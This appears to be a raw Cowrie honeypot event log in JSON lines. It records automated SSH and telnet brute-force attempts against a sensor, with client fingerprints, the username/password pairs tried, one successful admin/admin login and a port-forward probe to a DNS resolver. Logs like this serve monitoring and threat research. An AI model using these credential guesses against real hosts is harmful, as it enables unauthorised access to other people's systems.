{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:42.857288Z","src_ip":"103.183.114.55","session":"4bcecb48682c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cvbhyjdf","message":"login attempt [root/cvbhyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:43.540319Z","src_ip":"103.183.114.55","session":"4bcecb48682c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:44.770051Z","src_ip":"103.183.114.55","session":"4bcecb48682c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44774,"dst_ip":"10.17.0.5","dst_port":22,"session":"2824a214769c","protocol":"ssh","message":"New connection: 87.251.64.176:44774 (10.17.0.5:22) [session: 2824a214769c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:59.651117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:59.661782Z","src_ip":"87.251.64.176","session":"2824a214769c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:34:59.757077Z","src_ip":"87.251.64.176","session":"2824a214769c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:00.151690Z","src_ip":"87.251.64.176","session":"2824a214769c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:00.263227Z","session":"2824a214769c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:00.367025Z","src_ip":"87.251.64.176","session":"2824a214769c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:00.473690Z","src_ip":"87.251.64.176","session":"2824a214769c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":38870,"dst_ip":"159.203.135.109","dst_port":22,"session":"44d5c70fb1d1","protocol":"ssh","message":"New connection: 124.156.196.131:38870 (159.203.135.109:22) [session: 44d5c70fb1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:07.022992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:07.028396Z","src_ip":"124.156.196.131","session":"44d5c70fb1d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:07.267462Z","src_ip":"124.156.196.131","session":"44d5c70fb1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd12345","message":"login attempt [root/Asd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:08.253742Z","src_ip":"124.156.196.131","session":"44d5c70fb1d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:09.495043Z","src_ip":"124.156.196.131","session":"44d5c70fb1d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":51828,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ebfbd6c31f3","protocol":"ssh","message":"New connection: 80.94.92.184:51828 (10.17.0.5:22) [session: 7ebfbd6c31f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:11.544270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:11.549431Z","src_ip":"80.94.92.184","session":"7ebfbd6c31f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:11.684022Z","src_ip":"80.94.92.184","session":"7ebfbd6c31f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:12.324010Z","src_ip":"80.94.92.184","session":"7ebfbd6c31f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:13.549018Z","src_ip":"80.94.92.184","session":"7ebfbd6c31f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50874,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d1067923d4","protocol":"telnet","message":"New connection: 152.42.224.71:50874 (10.17.0.5:23) [session: d2d1067923d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:24.100353Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":34540,"dst_ip":"159.203.135.109","dst_port":22,"session":"b759a6611025","protocol":"ssh","message":"New connection: 103.27.238.114:34540 (159.203.135.109:22) [session: b759a6611025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:28.032284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:28.036136Z","src_ip":"103.27.238.114","session":"b759a6611025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:28.316042Z","src_ip":"103.27.238.114","session":"b759a6611025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789654","message":"login attempt [root/789654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:29.157059Z","src_ip":"103.27.238.114","session":"b759a6611025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:30.440965Z","src_ip":"103.27.238.114","session":"b759a6611025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":45990,"dst_ip":"159.203.135.109","dst_port":22,"session":"c44ffd65cc17","protocol":"ssh","message":"New connection: 43.163.95.54:45990 (159.203.135.109:22) [session: c44ffd65cc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:47.373728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:47.378348Z","src_ip":"43.163.95.54","session":"c44ffd65cc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:47.624631Z","src_ip":"43.163.95.54","session":"c44ffd65cc17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Qaz","message":"login attempt [root/123456Qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:48.643094Z","src_ip":"43.163.95.54","session":"c44ffd65cc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:35:49.892922Z","src_ip":"43.163.95.54","session":"c44ffd65cc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":44744,"dst_ip":"159.203.135.109","dst_port":22,"session":"0815f14c20ca","protocol":"ssh","message":"New connection: 103.75.182.198:44744 (159.203.135.109:22) [session: 0815f14c20ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:01.906185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:01.912070Z","src_ip":"103.75.182.198","session":"0815f14c20ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:02.153769Z","src_ip":"103.75.182.198","session":"0815f14c20ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjghjghj9","message":"login attempt [root/ghjghjghj9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:02.876839Z","src_ip":"103.75.182.198","session":"0815f14c20ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:04.145262Z","src_ip":"103.75.182.198","session":"0815f14c20ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.1140456199646,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:13.214277Z","src_ip":"152.42.224.71","session":"d2d1067923d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.163","src_port":65426,"dst_ip":"10.17.0.5","dst_port":22,"session":"a98705b650ac","protocol":"ssh","message":"New connection: 205.210.31.163:65426 (10.17.0.5:22) [session: a98705b650ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:20.119518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:21.358384Z","src_ip":"205.210.31.163","session":"a98705b650ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:36:22.521919Z","src_ip":"205.210.31.163","session":"a98705b650ac","protocol":"ssh"}
